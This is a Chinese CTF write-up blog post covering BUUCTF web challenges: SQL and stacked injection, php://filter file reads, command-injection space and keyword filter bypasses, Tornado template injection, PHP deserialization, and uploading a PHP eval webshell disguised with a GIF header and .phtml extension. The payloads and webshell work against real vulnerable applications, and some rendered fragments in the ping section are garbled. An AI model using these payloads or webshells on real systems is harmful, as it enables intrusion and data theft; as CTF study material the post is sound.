2021-03-07

本文详细介绍了多种Web安全漏洞,包括SQL注入、文件包含、命令注入等,并提供了利用示例,如通过二刷题目复习相关知识,利用php://filter协议、目录穿越、变量拼接等方法进行攻击。此外,还涉及了HTTP头部字段的利用和PHP反序列化漏洞。文章揭示了Web应用安全的重要性并展示了攻防思路。
摘要由CSDN通过智能技术生成

title: buu1-16
date: 2021-03-07 16:58:29
tags: 二刷buu

坦白说,第一次刷题感觉不是很好,很多东西没吸收,所以二刷,想把之前丢掉的知识捡回来。

[HCTF 2018]WarmUp

两个php文件,hint.php提示flag在ffffllllaaaagggg
代码审计:
白名单,传入值在白名单里,

$_page = mb_substr(//mb_substr() 函数返回字符串的一部分
$page,
0,//从0开始截取
mb_strpos($page . '?', '?')//strpos()函数查找字符串在另一字符串中第一次出现的位置(区分大小写)
);//两个函数组合起来的意思是返回page从开始到?的字符串
if (in_array($_page, $whitelist)) {
return true;//要求截取的字符串在白名单内,所以source,php和hint.php都可以
}

构造payloda:?file=hint.php?../…/…/…/…/ffffllllaaaagggg
(一开始flag不在当前目录,要用…/进行目录跳转)


[极客大挑战 2019]EasySQL

万能密码登录:1’or’1’='1


[强网杯 2019]随便注

1回显,1’不回显,1’ #显示正常字符型注入
(1’ or 1=1 #爆出该表中所有字段)
order by 2,2个字段
select被过滤,用堆叠注入(注意每小段语句后都要加;)
查表:

1';show tables;返回1919810931114514与words  

查列:(引表名用反引号)

1';show columns from `1919810931114514`

查字段
到此,发现回显内容在words表(输入1,回显的是words的内容),flag在1919810931114514表
不能用select,否则可以直接查1919810931114514表

  • 3个骚方法:预编译,handler查询,修改表名和列名
    写过,不赘述了。
  • 再敲一遍

[极客大挑战 2019]Havefun 1

源码,get传参


[ACTF2020 新生赛]Include 1

php://filter协议
?file=php://filter/read=convert.base64-encode/resource=flag.php


[极客大挑战 2019]Secret File 1

抓包,得php,代码审计,get传参
strstr(“Hello world!”,“world”); // 输出 world!
strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE
该函数是区分大小写的。如需进行不区分大小写的搜索,请使用 stristr() 函数。

if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data"))  

过滤了目录穿越,和几个php伪协议,没过滤php://filter协议
?file=php://filter/read=convert.base64-encode/resource=flag.php


[极客大挑战 2019]LoveSQL 1

先登录,万能密码 ?username=admin%27%23&password=1即可登陆成功
最常规的Union联合查询


[GXYCTF2019]Ping Ping Ping

?ip=127.0.0.1 | ls查目录,发现空格被过滤

绕过方法:
$IFS
${IFS}
I F S IFS IFS数字
<
<>
绕过后查取目录出现flag.php和index.php,读取/?ip=127.0.0.1$IFS 9 ∣ 9| 9IFS 9 c a t 9cat 9catIFS$9flag.php
发现字符flag被过滤,读取index.php查看源码
/?ip=
|’|"|\|(|)|[|]|{|}/", $ip, $match)){
echo preg_match("/&|/|?|*|<|[\x{00}-\x{20}]|>|’|"|\|(|)|[|]|{|}/", $ip, $match);
die(“fxck your symbol!”);//过滤\右边的符号
} else if(preg_match("/ /", $ip)){
die(“fxck your space!”);//过滤空格
} else if(preg_match("/bash/", $ip)){
die(“fxck your bash!”);
} else if(preg_match("/.*f.*l.*a.g./", $ip)){
die(“fxck your flag!”);
}
a = s h e l l e x e c ( " p i n g − c 4 " . a = shell_exec("ping -c 4 ". a=shellexec("pingc4".ip);
echo "
";
print_r($a);
}

读取flag.php的其他方法

sh

payload:
?ip=127.0.0.1;echo$IFS 6 Y 2 F 0 I G Z s Y W c u c G h w ∣ b a s e 64 6Y2F0IGZsYWcucGhw|base64 6Y2F0IGZsYWcucGhwbase64IFS$6-d|sh
(将“cat flag.php”经base64转码得到)

变量拼接

index.php代码有一个变量a,可以用变量a代替被过滤的flag中的某个字符,从而绕过flag过滤,进而读取flag
/?ip=127.0.0.1;a=g;cat$IFS 2 f l a 2fla 2flaa.php

内联注释

/?ip=127.0.0.1;cat$IFS$2`ls`

将反引号内命令的输出结果作为输入来进行命令执行,这样flag.php和index.php的结果都能直接查看(flag在源码中)


[ACTF2020 新生赛]Exec

PING
常见管道符命令执行:

1、|(就是按位或),直接执行|后面的语句

2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

3、&(就是按位与),&前面和后面命令都要执行,无论前面真假

4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

5、; 前后都执行,无论前面真假,同&,(linux也有)

法一:用127.0.0.1;ls …/找,…/目录穿越,直到127.0.0.1;ls …/…/…/看到flag,用127.0.0.1;cat …/…/…/flag读取

法二:127.0.0.1 | find / -name flag直接找,得/flag,读取:127.0.0.1 | cat /flag


[极客大挑战 2019]Knife

蚁剑登录,flag在根目录


[护网杯 2018]easy_tornado

考察SSTI(模板注入)
tornado是一个python的模板,render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页
flag in /fllllllllllllag
通过handler.settings对象获取cookie_secret的值,即:
handler指向RequestHandler
RequestHandler.settings指向self.application.settings
所以handler.settings最终指向RequestHandler.application.settings,

?msg={{handler.settings}}得到cookie_secret,

写脚本得到md5(cookie_secret+md5(filename))

import hashlib

filename = '/fllllllllllllag'
cookie_secret = "db3053bf-a59d-4f87-bdcb-30e165e0167b"
tmp = hashlib.md5(filename.encode(encoding='utf-8')).hexdigest()
data = cookie_secret + tmp
res = hashlib.md5(data.encode(encoding='utf-8')).hexdigest()
print(res)

?filename=/fllllllllllllag
&filehash=3bc0e02c9138512bbd1aa0d86451772e


[RoarCTF 2019]Easy Calc

源码提示:calc.php

<?php
error_reporting(0);
if(!isset($_GET['num'])){//不显示num才会包含文件
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

有eval()函数,说不定有代码执行漏洞:eval()代码执行漏洞,1,2
num传参测试: ?num=123123,可显,数字可显,字母不可显 字母都被WAF拦截,利用PHP的字符串解析特性绕过waf,PHP字符串解析特性。
由于php在解析url中的参数时,保存前会把num前面的空格去掉再解析,所以在num前加空格可绕过WAF,在num前加个空格,弹出之前代码中的提示,只要在黑名单中,都会提示what are you want to do?
可以查phpinfo()
payload: ? num=phpinfo()
PHP函数:
scandir("/"):以数组形式返回指定目录中的文件和目录
var_dump():输出变量的相关信息,显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。
file_get_contents():把整个文件读入一个字符串中。

  • ?%20num=var_dump(scandir(chr(47))): 查看文件目录(“/”被过滤了,可以使用chr(47)来进行表示,进行目录读取)
  • ?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)) 读取flag

[极客大挑战 2019]Http

It doesn’t come from ‘https://www.Sycsecret.com’
加 Referer:https://www.Sycsecret.com
Please use “Syclover” browser
改 User-Agent: Syclover" browser
No!!! you can only read this locally!!!
加 X-Forwarded-For:127.0.0.1


[极客大挑战 2019]PHP

备份文件www.zip有php文件
index.php

    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

传递参数select,res为select反序列化后的值

class.php:

<?php
include 'flag.php';

error_reporting(0);

class Name{//声明类
    private $username = 'nonono';
    private $password = 'yesyes';
                             //两个都是私有数据
    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();        //password值必须为100,否则die
        }
        if ($this->username === 'admin') {
            global $flag;    //username值必须为admin
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

        }
    }
}
?>

[极客大挑战 2019]Upload 1

文件上传漏洞,要上传图片

上传普通一句话木马,失败:<?被过滤

<?php @eval($_POST['flag']);?>  

换个形式,用JS木马,

<script language='php'>eval($_POST[flag]);</script>  

被检测到不是图片(暴露了),用文件幻术头绕过

GIF89a
<script language='php'>eval($_POST[flag]);</script>  

上传成功,抓包,修改后缀,尝试蚁剑登录
但是文件后缀改为php,字符php被过滤,修改为phtml即可上传成功
地址为url+upload+文件名
根目录找flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值